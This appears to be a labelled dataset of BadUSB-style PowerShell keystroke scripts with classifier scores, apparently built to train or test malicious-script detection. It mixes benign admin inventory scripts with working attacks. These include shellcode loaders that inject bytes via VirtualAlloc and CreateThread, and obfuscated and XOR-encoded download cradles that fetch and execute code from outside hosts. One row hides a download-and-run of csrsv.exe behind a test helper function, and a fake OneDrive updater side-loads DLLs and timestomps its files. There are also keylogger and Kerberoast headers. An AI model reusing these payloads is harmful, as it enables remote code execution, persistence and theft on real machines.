0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x51,0x38,0x11,0x90,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.17563e-05,0.99994826
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_y0koy8gq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName Application -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_warnings_25.txt"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Select-Object -First 100 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.json"") -Encoding UTF8 enter",0,0,0.999966,3.401888e-05
"win+r enter powershell enter enter enter function ConvertFrom-PSFArray enter { enter enter [CmdletBinding()] enter param ( enter [Parameter(Position = 0)] enter [string] enter $JoinBy = ', ', enter enter [Parameter(Position = 1)] enter [string[]] enter $PropertyName = '*', enter enter [Parameter(ValueFromPipeline = $true)] enter $InputObject enter ) enter enter process enter { enter $props = [ordered]@{ } enter foreach ($property in $InputObject.PSObject.Properties) enter { enter enter if ($property.Value -isnot [System.Collections.ICollection]) enter { enter $props[$property.Name] = $property.Value enter continue enter } enter $found = $false enter foreach ($name in $PropertyName) enter { enter if ($property.Name -like $name) enter { enter $found = $true enter break enter } enter } enter if (-not $found) enter { enter $props[$property.Name] = $property.Value enter continue enter } enter $props[$property.Name] = $property.Value -join $JoinBy enter } enter [PSCustomObject]$props enter } enter } enter enter",0,0,0.9999007,9.933614e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_5vfkd0ot"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 20 Name, Id, CPU, WorkingSet64, Handles | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_20.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.412002e-05
DUCKY_REAL_BEGIN enter REM Author: Alphax enter REM Description: Stars Your GitHub Repo enter DELAY 1000 enter GUI r enter DELAY 150 enter STRING https://github.com/FalsePhilosopher/badusb enter ENTER enter DELAY 5000 enter TAB enter REPEAT 17 enter ENTER enter DUCKY_REAL_END,1,1,6.0266157e-05,0.9999397
"win+r powershell enter Set-Variable -Name 1 -Value ('$c = ''[DllImport(""kernel32.dll"")]public static ex enter tern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, u enter int flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThre enter ad(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lp enter Parameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]pub enter lic static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-T enter ype -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte enter []];[Byte[]]$sc = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x enter 8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x enter 31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x enter 52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x enter 51,0x8b,0x59,0x20,0x enter enter",1,1,5.3955486e-05,0.999946
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_rbkfrssf"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 10 ProcessName, Id, StartTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_10.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4499462e-05
"win+r enter powershell enter enter enter powershell ""InVOKe-EXPresSIon( ""$(sET-item 'vaRIablE:oFS' '' ) "" + [sTRIng]('as69s65&78}20>28&28s4e~65>77,2d~4f}62s6a~65,63-74&20>4e,65>74s2e-57s65~62>43>6c>69>65,6e>74s29T2e&44,6f~77T6e~6c~6f}61>64T53s74-72,69T6e,67T28~27&68,74&74s70T3a&2f-2f,37>36T2e}37>34>2es31~32&37T2e,33,38s2f,64T65,66}61&75~6cT74T2dT6eT63,6f&2e~68s74}6d&6c~27&29~29,a~a'.SpLIT('T}>~s,&-')| fOreAcH {( [cHar] ([coNvERT]::tOiNt16( ([string]$_),16) ))}) +""$( seT-ItEM 'vArIable:oFS' ' ' ) "" ) "" enter enter",1,1,5.470627e-05,0.9999453
win+r powershell enter <# Kerberoast.ps1 Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Requi enter red Dependencies: None Note: the primary method of use will be Invoke-Kerberoas enter t with various targeting options. #> enter enter,1,1,6.762932e-05,0.9999324
"win+r enter powershell enter enter enter function BeTrueForAll enter { enter [CmdletBinding()] enter param ( enter $ActualValue, enter enter [scriptblock] enter $TestScript, enter enter [switch] enter $Negate enter ) enter end enter { enter foreach ($value in $ActualValue) enter { enter $variables = [System.Collections.Generic.List[psvariable]]( enter [psvariable]::new('_', $value)) enter enter $succeeded = $TestScript.InvokeWithContext( enter @{ }, enter $variables, enter $value) enter enter if ($Negate.IsPresent) enter { enter $succeeded = -not $succeeded enter } enter enter if (-not $succeeded) enter { enter break enter } enter } enter enter if ($Negate.IsPresent) enter { enter $failureMessage = enter 'Expected: All values to fail the evaluation script, ' + enter 'but value ""{0}"" returned true.' -f $value enter } enter else enter { enter $failureMessage = enter 'Expected: All values to pass the evaluation script, ' + enter 'but value ""{0}"" returned false.' -f $value enter } enter enter [PSCustomObject]@{ enter Succeeded = $succeeded enter FailureMessage = $failureMessage enter } enter } enter } enter Add-AssertionOperator -Name BeTrueForAll -Test $function:BeTrueForAll -Alias All -SupportsArrayInput enter (New-Object System.Net.WebClient).DownloadFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.894989e-05,0.999941
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_2g1ib822"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.txt"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Export-Csv -Path (Join-Path $ReportDir ""software_installed_programs.csv"") -NoTypeInformation enter",0,0,0.99996555,3.4404708e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_seel54qm"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.txt"") -Encoding UTF8 enter",0,0,0.99996483,3.5132838e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_xq5nl2ki"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.json"") -Encoding UTF8 enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.494535e-05
win+r powershell enter unknown_key_action VAR $FOO = 42 enter unknown_key_action $FOO = ( $FOO + 1 ) enter unknown_key_action $FOO = ( $FOO - 1 ) enter unknown_key_action $FOO = ( $FOO * 2 ) enter unknown_key_action $FOO = ( $FOO / 2 ) enter unknown_key_action $FOO = ( $FOO % 4 ) enter unknown_key_action $FOO = ( $FOO ^ 6 ) enter,1,1,5.9705966e-05,0.9999403
"win+r enter powershell enter enter enter Describe ""PSDiagnostics cmdlets tests."" -Tag ""CI"", ""RequireAdminOnWindows"" { enter BeforeAll { enter $LogType = 'Analytic' enter $OriginalDefaultParameterValues = $PSDefaultParameterValues.Clone() enter if (-not $IsWindows) { enter $PSDefaultParameterValues[""it:skip""] = $true enter } enter else{ enter $LogSettingBak = Get-LogProperties -Name Microsoft-Windows-PowerShell/$LogType enter } enter } enter AfterAll { enter if ($IsWindows) { enter Set-LogProperties -LogDetails $LogSettingBak -Force enter } enter $Global:PSDefaultParameterValues = $OriginalDefaultParameterValues enter } enter enter Context ""Test for Enable-PSTrace and Disable-PSTrace cmdlets."" { enter it ""Should enable $LogType logs for Microsoft-Windows-PowerShell."" { enter [XML]$CurrentSetting = & wevtutil gl Microsoft-Windows-PowerShell/$LogType /f:xml enter if($CurrentSetting.Channel.Enabled -eq 'true'){ enter & wevtutil sl Microsoft-Windows-PowerShell/$LogType /e:false /q enter } enter enter Enable-PSTrace -Force enter enter [XML]$ExpectedOutput = & wevtutil gl Microsoft-Windows-PowerShell/$LogType /f:xml enter enter $ExpectedOutput.Channel.enabled | Should -BeExactly 'true' enter } enter enter it ""Should disable $LogType logs for Microsoft-Windows-PowerShell."" { enter [XML]$CurrentState = & wevtutil gl Microsoft-Windows-PowerShell/$LogType /f:xml enter if($CurrentState.channel.enabled -eq 'false'){ enter & wevtutil sl Microsoft-Windows-PowerShell/$LogType /e:true /q enter } enter Disable-PSTrace enter enter [XML]$ExpectedOutput = & wevtutil gl Microsoft-Windows-PowerShell/$LogType /f:xml enter enter $ExpectedOutput.Channel.enabled | Should -Be 'false' enter } enter } enter enter Context ""Test for Get-LogProperties cmdlet."" { enter it ""Should return properties of $LogType logs for 'Microsoft-Windows-PowerShell'."" { enter [XML]$ExpectedOutput = wevtutil gl Microsoft-Windows-PowerShell/$LogType /f:xml enter enter $LogProperty = Get-LogProperties -Name Microsoft-Windows-PowerShell/$LogType enter enter $LogProperty.Name | Should -Be $ExpectedOutput.channel.Name enter $LogProperty.Enabled | Should -Be $ExpectedOutput.channel.Enabled enter $LogProperty.Retention | Should -Be $ExpectedOutput.channel.Logging.Retention enter $LogProperty.AutoBackup | Should -Be $ExpectedOutput.channel.Logging.AutoBackup enter $LogProperty.MaxLogSize | Should -Be $ExpectedOutput.channel.Logging.MaxSize enter ($LogProperty | Get-Member -MemberType Property | Measure-Object).Count | enter Should -Be (($ExpectedOutput.Channel.Logging | Get-Member -MemberType Property | Measure-Object).Count + 2) enter } enter } enter enter Context ""Test for Set-LogProperties cmdlet."" { enter BeforeAll { enter if ($IsWindows) { enter [XML]$WevtUtilBefore = wevtutil gl Microsoft-Windows-PowerShell/$LogType /f:xml enter $LogPropertyToSet = [Microsoft.PowerShell.Diagnostics.LogDetails]::new($WevtUtilBefore.channel.Name, enter [bool]::Parse($WevtUtilBefore.channel.Enabled), enter $LogType, enter [bool]::Parse($WevtUtilBefore.channel.Logging.Retention), enter [bool]::Parse($WevtUtilBefore.channel.Logging.AutoBackup), enter $WevtUtilBefore.channel.Logging.MaxSize -as [int] enter ) enter } enter } enter enter it ""Should invert AutoBackup setting of $LogType logs for 'Microsoft-Windows-PowerShell'."" { enter $LogPropertyToSet.AutoBackup = -not $LogPropertyToSet.AutoBackup enter Set-LogProperties -LogDetails $LogPropertyToSet -Force enter enter [XML]$ExpectedOutput = & wevtutil gl Microsoft-Windows-PowerShell/$LogType /f:xml enter (Get-LogProperties -Name Microsoft-Windows-PowerShell/$LogType).AutoBackup | Should -Be ([bool]::Parse($ExpectedOutput.Channel.Logging.AutoBackup)) enter } enter enter it ""Should throw exception for invalid LogName."" { enter {Set-LogProperties -LogDetails 'Foo' -Force } | Should -Throw -ErrorId 'ParameterArgumentTransformationError' enter } enter } enter } enter enter",0,0,0.9987735,0.0012264655
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_1wme0gmw"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.txt"") -Encoding UTF8 enter Write-Host ""Starting service_checks section 2."" enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_running.txt"") -Encoding UTF8 enter",0,0,0.9999654,3.4598997e-05
"win+r powershell enter . $PSScriptRoot\Shared.ps1 Describe 'Write-VcsStatus Tests' { Mock -ModuleName enter posh-git -CommandName git { $OFS = "" "" if ($args -contains 'rev-parse') { $r enter es = Invoke-Expression ""&$gitbin $args"" return $res } Convert-NativeLineEndin enter g -SplitLines @' A test/Foo.Tests.ps1 enter enter",1,1,0.0017658822,0.99823415
unknown_key_action DEFINE PROCESS_NAME example enter unknown_key_action GUI enter delay_medium enter Task Manager enter enter enter delay_medium enter tab enter delay_medium enter tab enter delay_medium enter tab enter delay_medium enter tab enter delay_medium enter PROCESS_NAME enter delay_medium enter enter enter delay_medium enter tab enter delay_medium enter tab enter delay_medium enter tab enter delay_medium enter tab enter delay_medium enter unknown_key_action SHIFT F10 enter delay_medium enter unknown_key_action DOWNARROW enter delay_medium enter unknown_key_action DOWNARROW enter delay_medium enter enter enter delay_long enter alt+f4,1,1,5.8172154e-05,0.9999418
<# .SYNOPSIS Nishang Payload which logs keys. .DESCRIPTION This payload logs a enter user's keys and writes them to file key.log (I know its bad :|) in user's temp d enter irectory. The keys are than pasted to pastebin|tinypaste|gmail|all as per select enter ion. Saved keys could then be decoded using the Parse_Key script in nishang. .P enter ARAMETER persist Use this parameter to achieve reboot persistence. Different met enter hods of persistence with Admin access and normal user access. enter,1,1,6.255897e-05,0.9999374
win terminal enter enter say fuck off! enter enter win n echo ' enter enter $$$$ enter enter $$ $$ enter enter $$ $$ enter enter $$ $$ enter enter $$ $$ enter enter $$ $$ enter enter $$$$$$ $$$$$$ enter enter $$ $$ $$ $$$$ enter enter $$ $$ $$ $$ $$ enter enter $$$$$$ $$ $$ $$ $$ $$ enter enter $$ $$$$ $$ $$ enter enter $$ $$ $$ enter enter $$ $$ $$ enter enter $$$ $$ $$ enter enter $$ $$ enter enter $$$ $$ enter enter $$ $$$ enter enter $$$ $$ enter enter $$ $$ enter enter $$$ $$$ enter enter $$ $$ enter enter $$$$$$$$$$$$$$$$$$$$,1,1,6.1420105e-05,0.9999386
"win+r enter powershell enter enter enter $myTopic = ""<your-custom-topic-name>"" enter $myResourceGroup = ""<resource-group-name>"" enter New-AzResourceGroup -Name $myResourceGroup -Location westus2 enter New-AzEventGridTopic -ResourceGroupName $myResourceGroup -Name $myTopic -Location westus2 enter $endpoint = (Get-AzEventGridTopic -ResourceGroupName $myResourceGroup -Name $myTopic).Endpoint enter $key = (Get-AzEventGridTopicKey -ResourceGroupName $myResourceGroup -Name $myTopic).Key1 enter enter $endpoint enter $key enter enter [SySTeM.Net.SerVICEPOInTMANAgER]::EXPeCT100CoNtINue = 0;$wC=NeW-ObJecT SYsTeM.NEt.WEbClIenT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wc.HEaDers.Add('User-Agent',$u);$Wc.PrOxY = [SySTEm.NEt.WebReQUESt]::DefAULtWEBPrOXY;$WC.PRoXY.CReDEntIalS = [SyStEm.NET.CreDEntIALCacHe]::DeFAultNEtWoRkCRedENTiALS;$K='FwQnWZ:5zblt(=0!*c2/j-@Uv14&G<u+';$i=0;[CHar[]]$b=([CHAr[]]($Wc.DOWNloADStRiNG(""http://192.168.92.1:8080/index.asp"")))|%{$_-BXOr$k[$I++%$k.LEngtH]};IEX ($b-JoIn'') enter enter",1,1,5.615631e-05,0.99994385
win+r enter powershell enter enter enter wininit enter enter,1,1,0.0022371472,0.9977628
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xc5,0x23,0xb0,0x3b,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1934876e-05,0.999948
"win+r powershell enter Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName Microsoft.Vis enter ualBasic Add-Type -AssemblyName Microsoft.CSharp Add-Type -AssemblyName System.M enter anagement Add-Type -AssemblyName System.Web [Byte[]] $RUNPE = @(31,139,8,0,0,0, enter 0,0,4,0,237,189,7,96,28,73,150,37,38,47,109,202,123,127,74,245,74,215,224,116,16 enter 1,8,128,96,19,36,216,144,64,16,236,193,136,205,230,146,236,29,105,71,35,41,171,4 enter 2,129,202,101,86,101,93,102,22,64,204,237,157,188,247,222,123,239,189,247,222,12 enter 3,239,189,247,186,59,157,78,39,247,223,255,63,92,102,100,1,108,246,206,74,218,20 enter 1,158,33,128,170,200,31,63,126,124,31,63,34,214,77,177,188,72,95,95,55,109,190,5 enter 6,252,141,19,255,207,241,211,34,187,88,86,77,91,76,155,238,87,175,214,203,182,88 enter ,228,227,179,101,155,215,213,234,117,94,95,22,211,28,205,126,227,100,153,45,242, enter 102,149,77,243,244,69,222,158,151,197,187,223,56,249,197,191,113,146,210,179,90, enter 79,202,98,154,78,203 enter enter",1,1,6.971297e-05,0.99993026
"win+r enter powershell enter enter enter if (test-path -path ""C:\Program Files\Microsoft\OneDriveUpdater\OneDriveStandaloneUpdater.exe"") { enter c:\program files\microsoft\onedriveupdater\onedrivestandaloneupdater.exe enter } else { enter $zf6:securityprotocol = $zf6:securityprotocol -bor 3072 enter invoke-expression (new-object ""System.Net.WebClient"").downloadstring(""https://web.archive.org/web/20230315194218/https:/github.com/witnessstrong/OneDriveUpdater/raw/main/install.ps1"")|out-null enter new-item -itemtype ""Directory"" -force -path ""C:\Program Files\Microsoft\OneDriveUpdater""|out-null enter (new-object ""Net.WebClient"").downloadfile(""https://web.archive.org/web/20230315194218/https:/github.com/witnessstrong/OneDriveUpdater/raw/main/OneDriveStandaloneUpdater.exe"", ""C:\Program Files\Microsoft\OneDriveUpdater\OneDriveStandaloneUpdater.exe"") enter (new-object ""Net.WebClient"").downloadfile(""https://web.archive.org/web/20230315194218/https:/github.com/witnessstrong/OneDriveUpdater/raw/main/version.dll"", ""C:\Program Files\Microsoft\OneDriveUpdater\version.dll"") enter (new-object ""Net.WebClient"").downloadfile(""https://web.archive.org/web/20230315194218/https:/github.com/witnessstrong/OneDriveUpdater/raw/main/verslon.dll"", ""C:\Program Files\Microsoft\OneDriveUpdater\verslon.dll"") enter $ts = get-item ""C:\Windows\win.ini""|%{$_.lastwritetime} enter $files = ""C:\Program Files\Microsoft\OneDriveUpdater\OneDriveStandaloneUpdater.exe"", ""C:\Program Files\Microsoft\OneDriveUpdater\version.dll"", ""C:\Program Files\Microsoft\OneDriveUpdater\verslon.dll"", ""C:\Program Files\Microsoft\OneDriveUpdater"", ""C:\Program Files\Microsoft\"" enter (""C:\Program Files\Microsoft\OneDriveUpdater\OneDriveStandaloneUpdater.exe"", ""C:\Program Files\Microsoft\OneDriveUpdater\version.dll"", ""C:\Program Files\Microsoft\OneDriveUpdater\verslon.dll"", ""C:\Program Files\Microsoft\OneDriveUpdater"", ""C:\Program Files\Microsoft\"").foreach({$file = gi $_, $file.lastwritetime = $ts, $file.lastaccesstime = $ts, $file.creationtime = $ts}) enter attrib ""+s"" ""+h"" ""C:\Program Files\Microsoft\OneDriveUpdater\version.dll"" ""/S"" ""/D"" ""/L"" enter c:\program files\microsoft\onedriveupdater\onedrivestandaloneupdater.exe enter } enter enter",1,1,8.581085e-05,0.99991417
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_8xtloxg8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_outbound.csv"") -NoTypeInformation enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 40 Name, Id, CPU, WorkingSet64 | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_40.txt"") -Encoding UTF8 enter",0,0,0.9999653,3.4678407e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_p9htw2l5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.txt"") -Encoding UTF8 enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Export-Csv -Path (Join-Path $ReportDir ""disk_volume.csv"") -NoTypeInformation enter",0,0,0.99996555,3.440648e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_sxs9uxva"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.json"") -Encoding UTF8 enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 200 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter",0,0,0.99996626,3.3676086e-05
